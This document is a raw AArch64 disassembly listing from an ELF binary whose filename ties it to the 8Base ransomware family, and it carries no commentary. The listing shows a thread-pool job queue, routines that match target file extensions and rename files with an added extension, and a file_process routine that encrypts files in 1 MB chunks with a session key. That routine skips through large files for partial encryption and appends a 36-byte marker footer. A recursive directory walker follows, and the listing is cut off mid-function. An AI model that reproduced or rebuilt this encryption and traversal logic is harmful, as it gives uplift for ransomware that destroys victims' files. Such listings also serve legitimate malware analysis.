File 8base_80736669542d3727c77ccda1589f9d7c17568a1d97d98ffae84afbbbf081be67.elf
Function:
    00406600
    00406600thread_do:
    00406600stp x29, x30, [sp-256]!
    00406604add x29, sp, 0
    00406608str x0, [sp+24]
    0040660cstp xzr, xzr, [sp+192]
    00406610stp xzr, xzr, [sp+208]
    00406614ldr x0, [sp+24]
    00406618ldr w0, [x0]
    0040661cadd x4, sp, 192
    00406620mov w3, w0
    00406624adrp x0, 8192
    00406628add x2, x0, 112
    0040662cmovz x1, 32
    00406630mov x0, x4
    00406634bl snprintf@plt
    00406638add x0, sp, 192
    0040663cmov x1, x0
    00406640movz w0, 15
    00406644bl prctl@plt
    00406648ldr x0, [sp+24]
    0040664cldr x0, [x0+16]
    00406650str x0, [sp+248]
    00406654add x0, sp, 40
    00406658add x0, x0, 8
    0040665cbl sigemptyset@plt
    00406660str wzr, [sp+176]
    00406664adrp x0, 0
    00406668add x0, x0, 1460
    0040666cstr x0, [sp+40]
    00406670add x0, sp, 40
    00406674movz x2, 0
    00406678mov x1, x0
    0040667cmovz w0, 10
    00406680bl sigaction@plt
    00406684adds wzr, w0, 1
    00406688b.ne 0x4066b0
    0040668cadrp x0, 0x14000
    00406690add x0, x0, 648
    00406694ldr x0, [x0]
    00406698mov x3, x0
    0040669cmovz x2, 34
    004066a0movz x1, 1
    004066a4adrp x0, 8192
    004066a8add x0, x0, 128
    004066acbl fwrite@plt
    004066b0
    004066b0loc_4066b0:
    004066b0ldr x0, [sp+248]
    004066b4add x0, x0, 16
    004066b8bl pthread_mutex_lock@plt
    004066bcldr x0, [sp+248]
    004066c0ldr w0, [x0+8]
    004066c4add w1, w0, 1
    004066c8ldr x0, [sp+248]
    004066ccstr w1, [x0+8]
    004066d0ldr x0, [sp+248]
    004066d4add x0, x0, 16
    004066d8bl pthread_mutex_unlock@plt
    004066dcb 0x4067bc
    004066e0
    004066e0loc_4066e0:
    004066e0ldr x0, [sp+248]
    004066e4ldr x0, [x0+176]
    004066e8bl bsem_wait
    004066ecadrp x0, 0x14000
    004066f0add x0, x0, 688
    004066f4ldr w0, [x0]
    004066f8subs wzr, w0, 0
    004066fcb.eq 0x4067bc
    00406700ldr x0, [sp+248]
    00406704add x0, x0, 16
    00406708bl pthread_mutex_lock@plt
    0040670cldr x0, [sp+248]
    00406710ldr w0, [x0+12]
    00406714add w1, w0, 1
    00406718ldr x0, [sp+248]
    0040671cstr w1, [x0+12]
    00406720ldr x0, [sp+248]
    00406724add x0, x0, 16
    00406728bl pthread_mutex_unlock@plt
    0040672cldr x0, [sp+248]
    00406730add x0, x0, 112
    00406734bl jobqueue_pull
    00406738str x0, [sp+240]
    0040673cldr x0, [sp+240]
    00406740subs xzr, x0, 0
    00406744b.eq 0x406774
    00406748ldr x0, [sp+240]
    0040674cldr x0, [x0+8]
    00406750str x0, [sp+232]
    00406754ldr x0, [sp+240]
    00406758ldr x0, [x0+16]
    0040675cstr x0, [sp+224]
    00406760ldr x1, [sp+232]
    00406764ldr x0, [sp+224]
    00406768blr x1
    0040676cldr x0, [sp+240]
    00406770bl free@plt
    00406774
    00406774loc_406774:
    00406774ldr x0, [sp+248]
    00406778add x0, x0, 16
    0040677cbl pthread_mutex_lock@plt
    00406780ldr x0, [sp+248]
    00406784ldr w0, [x0+12]
    00406788sub w1, w0, 1
    0040678cldr x0, [sp+248]
    00406790str w1, [x0+12]
    00406794ldr x0, [sp+248]
    00406798ldr w0, [x0+12]
    0040679csubs wzr, w0, 0
    004067a0b.ne 0x4067b0
    004067a4ldr x0, [sp+248]
    004067a8add x0, x0, 64
    004067acbl pthread_cond_signal@plt
    004067b0
    004067b0loc_4067b0:
    004067b0ldr x0, [sp+248]
    004067b4add x0, x0, 16
    004067b8bl pthread_mutex_unlock@plt
    004067bc
    004067bcloc_4067bc:
    004067bcadrp x0, 0x14000
    004067c0add x0, x0, 688
    004067c4ldr w0, [x0]
    004067c8subs wzr, w0, 0
    004067ccb.ne 0x4066e0
    004067d0ldr x0, [sp+248]
    004067d4add x0, x0, 16
    004067d8bl pthread_mutex_lock@plt
    004067dcldr x0, [sp+248]
    004067e0ldr w0, [x0+8]
    004067e4sub w1, w0, 1
    004067e8ldr x0, [sp+248]
    004067ecstr w1, [x0+8]
    004067f0ldr x0, [sp+248]
    004067f4add x0, x0, 16
    004067f8bl pthread_mutex_unlock@plt
    004067fcmovz x0, 0
    00406800ldp x29, x30, [sp], 256
    00406804ret x30
    00406600
    00406808
    00406808thread_destroy:
    00406808stp x29, x30, [sp-32]!
    0040680cadd x29, sp, 0
    00406810str x0, [sp+24]
    00406814ldr x0, [sp+24]
    00406818bl free@plt
    0040681chint
    00406820ldp x29, x30, [sp], 32
    00406824ret x30
    00406808
    00406828
    00406828jobqueue_init:
    00406828stp x29, x30, [sp-32]!
    0040682cadd x29, sp, 0
    00406830str x0, [sp+24]
    00406834ldr x0, [sp+24]
    00406838str wzr, [x0+72]
    0040683cldr x0, [sp+24]
    00406840str xzr, [x0+48]
    00406844ldr x0, [sp+24]
    00406848str xzr, [x0+56]
    0040684cmovz x0, 104
    00406850bl malloc@plt
    00406854mov x1, x0
    00406858ldr x0, [sp+24]
    0040685cstr x1, [x0+64]
    00406860ldr x0, [sp+24]
    00406864ldr x0, [x0+64]
    00406868subs xzr, x0, 0
    0040686cb.ne 0x406878
    00406870movn w0, 0
    00406874b 0x406898
    00406878
    00406878loc_406878:
    00406878ldr x0, [sp+24]
    0040687cmovz x1, 0
    00406880bl pthread_mutex_init@plt
    00406884ldr x0, [sp+24]
    00406888ldr x0, [x0+64]
    0040688cmovz w1, 0
    00406890bl bsem_init
    00406894movz w0, 0
    00406898
    00406898loc_406898:
    00406898ldp x29, x30, [sp], 32
    0040689cret x30
    00406828
    004068a0
    004068a0jobqueue_clear:
    004068a0stp x29, x30, [sp-32]!
    004068a4add x29, sp, 0
    004068a8str x0, [sp+24]
    004068acb 0x4068bc
    004068b0
    004068b0loc_4068b0:
    004068b0ldr x0, [sp+24]
    004068b4bl jobqueue_pull
    004068b8bl free@plt
    004068bc
    004068bcloc_4068bc:
    004068bcldr x0, [sp+24]
    004068c0ldr w0, [x0+72]
    004068c4subs wzr, w0, 0
    004068c8b.ne 0x4068b0
    004068ccldr x0, [sp+24]
    004068d0str xzr, [x0+48]
    004068d4ldr x0, [sp+24]
    004068d8str xzr, [x0+56]
    004068dcldr x0, [sp+24]
    004068e0ldr x0, [x0+64]
    004068e4bl bsem_reset
    004068e8ldr x0, [sp+24]
    004068ecstr wzr, [x0+72]
    004068f0hint
    004068f4ldp x29, x30, [sp], 32
    004068f8ret x30
    004068a0
    004068fc
    004068fcjobqueue_push:
    004068fcstp x29, x30, [sp-32]!
    00406900add x29, sp, 0
    00406904str x0, [sp+24]
    00406908str x1, [sp+16]
    0040690cldr x0, [sp+24]
    00406910bl pthread_mutex_lock@plt
    00406914ldr x0, [sp+16]
    00406918str xzr, [x0]
    0040691cldr x0, [sp+24]
    00406920ldr w0, [x0+72]
    00406924subs wzr, w0, 0
    00406928b.ne 0x406948
    0040692cldr x0, [sp+24]
    00406930ldr x1, [sp+16]
    00406934str x1, [x0+48]
    00406938ldr x0, [sp+24]
    0040693cldr x1, [sp+16]
    00406940str x1, [x0+56]
    00406944b 0x406964
    00406948
    00406948loc_406948:
    00406948ldr x0, [sp+24]
    0040694cldr x0, [x0+56]
    00406950ldr x1, [sp+16]
    00406954str x1, [x0]
    00406958ldr x0, [sp+24]
    0040695cldr x1, [sp+16]
    00406960str x1, [x0+56]
    00406964
    00406964loc_406964:
    00406964ldr x0, [sp+24]
    00406968ldr w0, [x0+72]
    0040696cadd w1, w0, 1
    00406970ldr x0, [sp+24]
    00406974str w1, [x0+72]
    00406978ldr x0, [sp+24]
    0040697cldr x0, [x0+64]
    00406980bl bsem_post
    00406984ldr x0, [sp+24]
    00406988bl pthread_mutex_unlock@plt
    0040698chint
    00406990ldp x29, x30, [sp], 32
    00406994ret x30
    004068fc
    00406998
    00406998jobqueue_pull:
    00406998stp x29, x30, [sp-48]!
    0040699cadd x29, sp, 0
    004069a0str x0, [sp+24]
    004069a4ldr x0, [sp+24]
    004069a8bl pthread_mutex_lock@plt
    004069acldr x0, [sp+24]
    004069b0ldr x0, [x0+48]
    004069b4str x0, [sp+40]
    004069b8ldr x0, [sp+24]
    004069bcldr w0, [x0+72]
    004069c0subs wzr, w0, 0
    004069c4b.eq 0x406a20
    004069c8subs wzr, w0, 1
    004069ccb.ne 0x4069ec
    004069d0ldr x0, [sp+24]
    004069d4str xzr, [x0+48]
    004069d8ldr x0, [sp+24]
    004069dcstr xzr, [x0+56]
    004069e0ldr x0, [sp+24]
    004069e4str wzr, [x0+72]
    004069e8b 0x406a24
    004069ec
    004069ecloc_4069ec:
    004069ecldr x0, [sp+40]
    004069f0ldr x1, [x0]
    004069f4ldr x0, [sp+24]
    004069f8str x1, [x0+48]
    004069fcldr x0, [sp+24]
    00406a00ldr w0, [x0+72]
    00406a04sub w1, w0, 1
    00406a08ldr x0, [sp+24]
    00406a0cstr w1, [x0+72]
    00406a10ldr x0, [sp+24]
    00406a14ldr x0, [x0+64]
    00406a18bl bsem_post
    00406a1cb 0x406a24
    00406a20
    00406a20loc_406a20:
    00406a20hint
    00406a24
    00406a24loc_406a24:
    00406a24ldr x0, [sp+24]
    00406a28bl pthread_mutex_unlock@plt
    00406a2cldr x0, [sp+40]
    00406a30ldp x29, x30, [sp], 48
    00406a34ret x30
    00406998
    00406a38
    00406a38jobqueue_destroy:
    00406a38stp x29, x30, [sp-32]!
    00406a3cadd x29, sp, 0
    00406a40str x0, [sp+24]
    00406a44ldr x0, [sp+24]
    00406a48bl jobqueue_clear
    00406a4cldr x0, [sp+24]
    00406a50ldr x0, [x0+64]
    00406a54bl free@plt
    00406a58hint
    00406a5cldp x29, x30, [sp], 32
    00406a60ret x30
    00406a38
    00406a64
    00406a64bsem_init:
    00406a64stp x29, x30, [sp-32]!
    00406a68add x29, sp, 0
    00406a6cstr x0, [sp+24]
    00406a70str w1, [sp+20]
    00406a74ldr w0, [sp+20]
    00406a78subs wzr, w0, 0
    00406a7cb.lt 0x406a8c
    00406a80ldr w0, [sp+20]
    00406a84subs wzr, w0, 1
    00406a88b.le 0x406ab8
    00406a8c
    00406a8cloc_406a8c:
    00406a8cadrp x0, 0x14000
    00406a90add x0, x0, 648
    00406a94ldr x0, [x0]
    00406a98mov x3, x0
    00406a9cmovz x2, 57
    00406aa0movz x1, 1
    00406aa4adrp x0, 8192
    00406aa8add x0, x0, 168
    00406aacbl fwrite@plt
    00406ab0movz w0, 1
    00406ab4bl exit@plt
    00406ab8
    00406ab8loc_406ab8:
    00406ab8ldr x0, [sp+24]
    00406abcmovz x1, 0
    00406ac0bl pthread_mutex_init@plt
    00406ac4ldr x0, [sp+24]
    00406ac8add x0, x0, 48
    00406accmovz x1, 0
    00406ad0bl pthread_cond_init@plt
    00406ad4ldr x0, [sp+24]
    00406ad8ldr w1, [sp+20]
    00406adcstr w1, [x0+96]
    00406ae0hint
    00406ae4ldp x29, x30, [sp], 32
    00406ae8ret x30
    00406a64
    00406aec
    00406aecbsem_reset:
    00406aecstp x29, x30, [sp-32]!
    00406af0add x29, sp, 0
    00406af4str x0, [sp+24]
    00406af8movz w1, 0
    00406afcldr x0, [sp+24]
    00406b00bl bsem_init
    00406b04hint
    00406b08ldp x29, x30, [sp], 32
    00406b0cret x30
    00406aec
    00406b10
    00406b10bsem_post:
    00406b10stp x29, x30, [sp-32]!
    00406b14add x29, sp, 0
    00406b18str x0, [sp+24]
    00406b1cldr x0, [sp+24]
    00406b20bl pthread_mutex_lock@plt
    00406b24ldr x0, [sp+24]
    00406b28movz w1, 1
    00406b2cstr w1, [x0+96]
    00406b30ldr x0, [sp+24]
    00406b34add x0, x0, 48
    00406b38bl pthread_cond_signal@plt
    00406b3cldr x0, [sp+24]
    00406b40bl pthread_mutex_unlock@plt
    00406b44hint
    00406b48ldp x29, x30, [sp], 32
    00406b4cret x30
    00406b10
    00406b50
    00406b50bsem_post_all:
    00406b50stp x29, x30, [sp-32]!
    00406b54add x29, sp, 0
    00406b58str x0, [sp+24]
    00406b5cldr x0, [sp+24]
    00406b60bl pthread_mutex_lock@plt
    00406b64ldr x0, [sp+24]
    00406b68movz w1, 1
    00406b6cstr w1, [x0+96]
    00406b70ldr x0, [sp+24]
    00406b74add x0, x0, 48
    00406b78bl pthread_cond_broadcast@plt
    00406b7cldr x0, [sp+24]
    00406b80bl pthread_mutex_unlock@plt
    00406b84hint
    00406b88ldp x29, x30, [sp], 32
    00406b8cret x30
    00406b50
    00406b90
    00406b90bsem_wait:
    00406b90stp x29, x30, [sp-32]!
    00406b94add x29, sp, 0
    00406b98str x0, [sp+24]
    00406b9cldr x0, [sp+24]
    00406ba0bl pthread_mutex_lock@plt
    00406ba4b 0x406bb8
    00406ba8
    00406ba8loc_406ba8:
    00406ba8ldr x0, [sp+24]
    00406bacadd x0, x0, 48
    00406bb0ldr x1, [sp+24]
    00406bb4bl pthread_cond_wait@plt
    00406bb8
    00406bb8loc_406bb8:
    00406bb8ldr x0, [sp+24]
    00406bbcldr w0, [x0+96]
    00406bc0subs wzr, w0, 1
    00406bc4b.ne 0x406ba8
    00406bc8ldr x0, [sp+24]
    00406bccstr wzr, [x0+96]
    00406bd0ldr x0, [sp+24]
    00406bd4bl pthread_mutex_unlock@plt
    00406bd8hint
    00406bdcldp x29, x30, [sp], 32
    00406be0ret x30
    00406b90
    00406be4
    00406be4copy_path:
    00406be4stp x29, x30, [sp-48]!
    00406be8add x29, sp, 0
    00406becstr x0, [sp+24]
    00406bf0ldr x0, [sp+24]
    00406bf4bl strlen@plt
    00406bf8add x0, x0, 1
    00406bfcbl malloc@plt
    00406c00str x0, [sp+40]
    00406c04ldr x0, [sp+40]
    00406c08subs xzr, x0, 0
    00406c0cb.ne 0x406c18
    00406c10movz x0, 0
    00406c14b 0x406c28
    00406c18
    00406c18loc_406c18:
    00406c18ldr x1, [sp+24]
    00406c1cldr x0, [sp+40]
    00406c20bl strcpy@plt
    00406c24ldr x0, [sp+40]
    00406c28
    00406c28loc_406c28:
    00406c28ldp x29, x30, [sp], 48
    00406c2cret x30
    00406be4
    00406c30
    00406c30file_write_message:
    00406c30stp x29, x30, [sp-64]!
    00406c34add x29, sp, 0
    00406c38str x0, [sp+40]
    00406c3cstr x1, [sp+32]
    00406c40str x2, [sp+24]
    00406c44str x3, [sp+16]
    00406c48movz x0, 4097
    00406c4cbl malloc@plt
    00406c50str x0, [sp+56]
    00406c54ldr x0, [sp+56]
    00406c58subs xzr, x0, 0
    00406c5cb.eq 0x406cec
    00406c60ldr x1, [sp+40]
    00406c64ldr x0, [sp+56]
    00406c68bl strcpy@plt
    00406c6cldr x0, [sp+56]
    00406c70bl strlen@plt
    00406c74mov x1, x0
    00406c78ldr x0, [sp+56]
    00406c7cadd x0, x0, x1
    00406c80movz w1, 47
    00406c84strh w1, [x0]
    00406c88ldr x1, [sp+32]
    00406c8cldr x0, [sp+56]
    00406c90bl strcat@plt
    00406c94ldr x1, [sp+16]
    00406c98ldr x0, [sp+56]
    00406c9cbl strcat@plt
    00406ca0adrp x0, 8192
    00406ca4add x1, x0, 552
    00406ca8ldr x0, [sp+56]
    00406cacbl fopen@plt
    00406cb0str x0, [sp+48]
    00406cb4ldr x0, [sp+48]
    00406cb8subs xzr, x0, 0
    00406cbcb.eq 0x406ce4
    00406cc0ldr x0, [sp+24]
    00406cc4bl strlen@plt
    00406cc8ldr x3, [sp+48]
    00406cccmov x2, x0
    00406cd0movz x1, 1
    00406cd4ldr x0, [sp+24]
    00406cd8bl fwrite@plt
    00406cdcldr x0, [sp+48]
    00406ce0bl fclose@plt
    00406ce4
    00406ce4loc_406ce4:
    00406ce4ldr x0, [sp+56]
    00406ce8bl free@plt
    00406cec
    00406cecloc_406cec:
    00406cechint
    00406cf0ldp x29, x30, [sp], 64
    00406cf4ret x30
    00406c30
    00406cf8
    00406cf8file_ext_get:
    00406cf8stp x29, x30, [sp-48]!
    00406cfcadd x29, sp, 0
    00406d00str x0, [sp+24]
    00406d04ldr x0, [sp+24]
    00406d08bl strlen@plt
    00406d0cmov x1, x0
    00406d10ldr x0, [sp+24]
    00406d14add x0, x0, x1
    00406d18str x0, [sp+40]
    00406d1c
    00406d1cloc_406d1c:
    00406d1cldr x0, [sp+40]
    00406d20sub x0, x0, 1
    00406d24str x0, [sp+40]
    00406d28ldr x0, [sp+40]
    00406d2cldrb w0, [x0]
    00406d30subs wzr, w0, 46
    00406d34b.eq 0x406d60
    00406d38ldr x1, [sp+40]
    00406d3cldr x0, [sp+24]
    00406d40subs xzr, x1, x0
    00406d44b.ls 0x406d58
    00406d48ldr x0, [sp+40]
    00406d4cldrb w0, [x0]
    00406d50subs wzr, w0, 47
    00406d54b.ne 0x406d1c
    00406d58
    00406d58loc_406d58:
    00406d58movz x0, 0
    00406d5cb 0x406d68
    00406d60
    00406d60loc_406d60:
    00406d60hint
    00406d64ldr x0, [sp+40]
    00406d68
    00406d68loc_406d68:
    00406d68ldp x29, x30, [sp], 48
    00406d6cret x30
    00406cf8
    00406d70
    00406d70file_ext_find:
    00406d70stp x29, x30, [sp-64]!
    00406d74add x29, sp, 0
    00406d78str x19, [sp+16]
    00406d7cstr x0, [sp+40]
    00406d80str x1, [sp+32]
    00406d84adrp x0, 0x14000
    00406d88add x0, x0, 536
    00406d8cldr x19, [x0]
    00406d90adrp x0, 0x14000
    00406d94add x0, x0, 536
    00406d98ldr x0, [x0]
    00406d9cbl strlen@plt
    00406da0mov x2, x0
    00406da4mov x1, x19
    00406da8ldr x0, [sp+40]
    00406dacbl strncmp@plt
    00406db0subs wzr, w0, 0
    00406db4b.ne 0x406dc0
    00406db8movz w0, 2
    00406dbcb 0x406e78
    00406dc0
    00406dc0loc_406dc0:
    00406dc0ldr x0, [sp+40]
    00406dc4bl file_ext_get
    00406dc8str x0, [sp+48]
    00406dccldr x0, [sp+48]
    00406dd0subs xzr, x0, 0
    00406dd4b.eq 0x406e74
    00406dd8adrp x0, 0x14000
    00406ddcadd x0, x0, 544
    00406de0ldr x0, [x0]
    00406de4mov x1, x0
    00406de8ldr x0, [sp+48]
    00406decbl strcmp@plt
    00406df0subs wzr, w0, 0
    00406df4b.ne 0x406e00
    00406df8movz w0, 2
    00406dfcb 0x406e78
    00406e00
    00406e00loc_406e00:
    00406e00adrp x0, 0x14000
    00406e04add x0, x0, 528
    00406e08ldr x0, [x0]
    00406e0cadd x0, x0, 1
    00406e10ldrb w0, [x0]
    00406e14subs wzr, w0, 42
    00406e18b.ne 0x406e24
    00406e1cmovz w0, 0
    00406e20b 0x406e78
    00406e24
    00406e24loc_406e24:
    00406e24str wzr, [sp+60]
    00406e28b 0x406e60
    00406e2c
    00406e2cloc_406e2c:
    00406e2cadrp x0, 0x14000
    00406e30add x0, x0, 528
    00406e34ldrsw x1, [sp+60]
    00406e38ldr x0, [x0+3*x1]
    00406e3cldr x1, [sp+48]
    00406e40bl strcasecmp@plt
    00406e44subs wzr, w0, 0
    00406e48b.ne 0x406e54
    00406e4cmovz w0, 0
    00406e50b 0x406e78
    00406e54
    00406e54loc_406e54:
    00406e54ldr w0, [sp+60]
    00406e58add w0, w0, 1
    00406e5cstr w0, [sp+60]
    00406e60
    00406e60loc_406e60:
    00406e60ldr w0, [sp+60]
    00406e64subs wzr, w0, 0
    00406e68b.eq 0x406e2c
    00406e6cmovz w0, 2
    00406e70b 0x406e78
    00406e74
    00406e74loc_406e74:
    00406e74movz w0, 1
    00406e78
    00406e78loc_406e78:
    00406e78ldr x19, [sp+16]
    00406e7cldp x29, x30, [sp], 64
    00406e80ret x30
    00406d70
    00406e84
    00406e84file_rename:
    00406e84stp x29, x30, [sp-64]!
    00406e88add x29, sp, 0
    00406e8cstr x19, [sp+16]
    00406e90str x0, [sp+40]
    00406e94str xzr, [sp+56]
    00406e98ldr x0, [sp+40]
    00406e9cbl strlen@plt
    00406ea0mov x19, x0
    00406ea4adrp x0, 0x14000
    00406ea8add x0, x0, 544
    00406eacldr x0, [x0]
    00406eb0bl strlen@plt
    00406eb4add x0, x19, x0
    00406eb8add x0, x0, 1
    00406ebcbl malloc@plt
    00406ec0str x0, [sp+56]
    00406ec4ldr x0, [sp+56]
    00406ec8subs xzr, x0, 0
    00406eccb.eq 0x406f08
    00406ed0ldr x1, [sp+40]
    00406ed4ldr x0, [sp+56]
    00406ed8bl strcpy@plt
    00406edcadrp x0, 0x14000
    00406ee0add x0, x0, 544
    00406ee4ldr x0, [x0]
    00406ee8mov x1, x0
    00406eecldr x0, [sp+56]
    00406ef0bl strcat@plt
    00406ef4ldr x1, [sp+56]
    00406ef8ldr x0, [sp+40]
    00406efcbl rename@plt
    00406f00ldr x0, [sp+40]
    00406f04bl free@plt
    00406f08
    00406f08loc_406f08:
    00406f08ldr x0, [sp+56]
    00406f0cldr x19, [sp+16]
    00406f10ldp x29, x30, [sp], 64
    00406f14ret x30
    00406e84
    00406f18
    00406f18file_get_meta_data:
    00406f18stp x29, x30, [sp-208]!
    00406f1cadd x29, sp, 0
    00406f20str x0, [sp+40]
    00406f24str x1, [sp+32]
    00406f28str w2, [sp+28]
    00406f2cmovz w0, 1
    00406f30str w0, [sp+204]
    00406f34str xzr, [sp+192]
    00406f38add x0, sp, 56
    00406f3cmov x1, x0
    00406f40ldr x0, [sp+40]
    00406f44bl stat@plt
    00406f48subs wzr, w0, 0
    00406f4cb.ne 0x407008
    00406f50ldr x0, [sp+104]
    00406f54subs xzr, x0, 35
    00406f58b.ls 0x407008
    00406f5cadrp x0, 8192
    00406f60add x1, x0, 560
    00406f64ldr x0, [sp+40]
    00406f68bl fopen@plt
    00406f6cstr x0, [sp+184]
    00406f70ldr x0, [sp+184]
    00406f74subs xzr, x0, 0
    00406f78b.eq 0x407008
    00406f7cmovz w2, 2
    00406f80movn x1, 35
    00406f84ldr x0, [sp+184]
    00406f88bl fseek@plt
    00406f8csubs wzr, w0, 0
    00406f90b.ne 0x406fd4
    00406f94ldr x3, [sp+184]
    00406f98movz x2, 36
    00406f9cmovz x1, 1
    00406fa0ldr x0, [sp+32]
    00406fa4bl fread@plt
    00406fa8str x0, [sp+192]
    00406facldr x0, [sp+192]
    00406fb0subs xzr, x0, 36
    00406fb4b.ne 0x406fd4
    00406fb8ldr x0, [sp+32]
    00406fbcldr w1, [x0+32]
    00406fc0movz w0, 50198
    00406fc4movk w0, 0x6c890000
    00406fc8subs wzr, w1, w0
    00406fccb.ne 0x406fd4
    00406fd0str wzr, [sp+204]
    00406fd4
    00406fd4loc_406fd4:
    00406fd4ldr x0, [sp+184]
    00406fd8bl fclose@plt
    00406fdcldr w0, [sp+28]
    00406fe0subs wzr, w0, 0
    00406fe4b.eq 0x407008
    00406fe8ldr w0, [sp+204]
    00406fecsubs wzr, w0, 0
    00406ff0b.ne 0x407008
    00406ff4ldr x0, [sp+104]
    00406ff8sub x0, x0, 36
    00406ffcmov x1, x0
    00407000ldr x0, [sp+40]
    00407004bl truncate@plt
    00407008
    00407008loc_407008:
    00407008ldr w0, [sp+204]
    0040700cldp x29, x30, [sp], 208
    00407010ret x30
    00406f18
    00407014
    00407014file_process:
    00407014stp x29, x30, [sp-336]!
    00407018add x29, sp, 0
    0040701cstr x0, [sp+24]
    00407020str xzr, [sp+320]
    00407024str xzr, [sp+328]
    00407028add x0, sp, 136
    0040702cmovz w2, 0
    00407030mov x1, x0
    00407034ldr x0, [sp+24]
    00407038bl file_get_meta_data
    0040703csubs wzr, w0, 0
    00407040b.eq 0x4071c8
    00407044add x0, sp, 176
    00407048mov x1, x0
    0040704cldr x0, [sp+24]
    00407050bl stat@plt
    00407054subs wzr, w0, 0
    00407058b.ne 0x4071cc
    0040705cldr x0, [sp+224]
    00407060subs xzr, x0, 15
    00407064b.le 0x4071cc
    00407068ldr x1, [sp+24]
    0040706cadrp x0, 4096
    00407070add x0, x0, 568
    00407074bl printf@plt
    00407078adrp x0, 4096
    0040707cadd x1, x0, 560
    00407080ldr x0, [sp+24]
    00407084bl fopen@plt
    00407088str x0, [sp+312]
    0040708cldr x0, [sp+312]
    00407090subs xzr, x0, 0
    00407094b.eq 0x4071cc
    00407098movz x0, 0x100000
    0040709cbl malloc@plt
    004070a0str x0, [sp+304]
    004070a4ldr x0, [sp+304]
    004070a8subs xzr, x0, 0
    004070acb.eq 0x4071bc
    004070b0add x1, sp, 136
    004070b4add x0, sp, 40
    004070b8mov x2, x1
    004070bcmov x1, x0
    004070c0adrp x0, 0x13000
    004070c4add x0, x0, 496
    004070c8bl session_key_get
    004070ccadd x1, sp, 40
    004070d0add x0, sp, 72
    004070d4bl crypto_session_init
    004070d8
    004070d8loc_4070d8:
    004070d8ldr x3, [sp+312]
    004070dcmovz x2, 0x100000
    004070e0movz x1, 1
    004070e4ldr x0, [sp+304]
    004070e8bl fread@plt
    004070ecstr x0, [sp+320]
    004070f0ldr x0, [sp+320]
    004070f4subs xzr, x0, 16
    004070f8b.ls 0x407178
    004070fcldr x0, [sp+320]
    00407100mov w1, w0
    00407104add x0, sp, 72
    00407108mov x2, x0
    0040710cldr x0, [sp+304]
    00407110bl buffer_crypt
    00407114ldr x0, [sp+320]
    00407118sub x0, xzr, x0
    0040711cmovz w2, 1
    00407120mov x1, x0
    00407124ldr x0, [sp+312]
    00407128bl fseek@plt
    0040712cldr x3, [sp+312]
    00407130ldr x2, [sp+320]
    00407134movz x1, 1
    00407138ldr x0, [sp+304]
    0040713cbl fwrite@plt
    00407140movz w2, 1
    00407144movz x1, 0x3100000
    00407148ldr x0, [sp+312]
    0040714cbl fseek@plt
    00407150ldr x1, [sp+328]
    00407154movz x0, 0x3200000
    00407158add x0, x1, x0
    0040715cstr x0, [sp+328]
    00407160ldr x0, [sp+224]
    00407164mov x1, x0
    00407168ldr x0, [sp+328]
    0040716csubs xzr, x0, x1
    00407170b.lo 0x4070d8
    00407174b 0x40717c
    00407178
    00407178loc_407178:
    00407178hint
    0040717c
    0040717cloc_40717c:
    0040717cadd x0, sp, 72
    00407180bl crypto_session_close
    00407184ldr x0, [sp+304]
    00407188bl free@plt
    0040718cmovz w0, 50198
    00407190movk w0, 0x6c890000
    00407194str w0, [sp+168]
    00407198movz w2, 2
    0040719cmovz x1, 0
    004071a0ldr x0, [sp+312]
    004071a4bl fseek@plt
    004071a8add x0, sp, 136
    004071acldr x3, [sp+312]
    004071b0movz x2, 36
    004071b4movz x1, 1
    004071b8bl fwrite@plt
    004071bc
    004071bcloc_4071bc:
    004071bcldr x0, [sp+312]
    004071c0bl fclose@plt
    004071c4b 0x4071cc
    004071c8
    004071c8loc_4071c8:
    004071c8hint
    004071cc
    004071ccloc_4071cc:
    004071ccldp x29, x30, [sp], 336
    004071d0ret x30
    00407014
    004071d4
    004071d4files_find_recursive:
    004071d4stp x29, x30, [sp-96]!
    004071d8add x29, sp, 0
    004071dcstr x0, [sp+40]
    004071e0str x1, [sp+32]
    004071e4str w2, [sp+28]
    004071e8movz x0, 4097
    004071ecbl malloc@plt
    004071f0str x0, [sp+88]
    004071f4ldr x0, [sp+88]
    004071f8subs xzr, x0, 0
    004071fcb.eq 0x40742c
    00407200ldr x1, [sp+40]
    00407204ldr x0, [sp+88]
    00407208bl strcpy@plt
    0040720cldr x1, [sp+40]
    00407210adrp x0, 4096
    00407214add x0, x0, 576
    00407218bl printf@plt
    0040721cldr x0, [sp+88]
    00407220bl opendir@plt
    00407224str x0, [sp+80]
    00407228ldr x0, [sp+80]
    0040722csubs xzr, x0, 0
    00407230b.eq 0x4073c4
    00407234str xzr, [sp+72]
    00407238b 0x4073a4
    0040723c
    0040723cloc_40723c:
    0040723cldr x0, [sp+72]
    00407240add x2, x0, 19
    00407244adrp x0, 4096
    00407248add x1, x0, 600
    0040724cmov x0, x2
    00407250bl strcmp@plt
    00407254subs wzr, w0, 0
    00407258b.eq 0x4073a4
    0040725cldr x0, [sp+72]
    00407260add x2, x0, 19
    00407264adrp x0, 4096
    00407268add x1, x0, 608
    0040726cmov x0, x2
    00407270bl strcmp@plt
    00407274subs wzr, w0, 0
    00407278b.eq 0x4073a4
    0040727cldr x0, [sp+72]
    00407280ldrb w0, [x0+18]
    00407284subs wzr, w0, 4
    00407288b.ne 0x4072f4
    0040728cldr x1, [sp+40]
    00407290ldr x0, [sp+88]
    00407294bl strcpy@plt
    00407298ldr x0, [sp+88]
    0040729cbl strlen@plt
    004072a0mov x1, x0
    004072a4ldr x0, [sp+88]
    004072a8add x0, x0, x1
    004072acmovz w1, 47
    004072b0strh w1, [x0]
    004072b4ldr x0, [sp+72]
    004072b8add x0, x0, 19
    004072bcmov x1, x0
    004072c0ldr x0, [sp+88]
    004072c4bl strcat@plt
    004072c8ldr x0, [sp+88]
    004072ccbl copy_path
    004072d0str x0, [sp+48]
    004072d4ldr x0, [sp+48]
    004072d8subs xzr, x0, 0
    004072dcb.eq 0x4073a4
    004072e0movz w2, 0
    004072e4ldr x1, [sp+32]
    004072e8ldr x0, [sp+48]
    004072ecbl files_find_recursive
    004072f0b 0x4073a4
    004072f4
    004072f4loc_4072f4:
    004072f4ldr x0, [sp+72]
    004072f8ldrb w0, [x0+18]
    004072fcsubs wzr, w0, 8
    00407300b.ne 0x4073a4
    00407304ldr x1, [sp+40]
    00407308ldr x0, [sp+88]
    0040730cbl strcpy@plt
    00407310ldr x0, [sp+88]
    00407314bl strlen@plt
    00407318mov x1, x0
    0040731cldr x0, [sp+88]
    00407320add x0, x0, x1
    00407324movz w1, 47
    00407328strh w1, [x0]
    0040732cldr x0, [sp+72]
    00407330add x0, x0, 19
    00407334mov x1, x0
    00407338ldr x0, [sp+88]
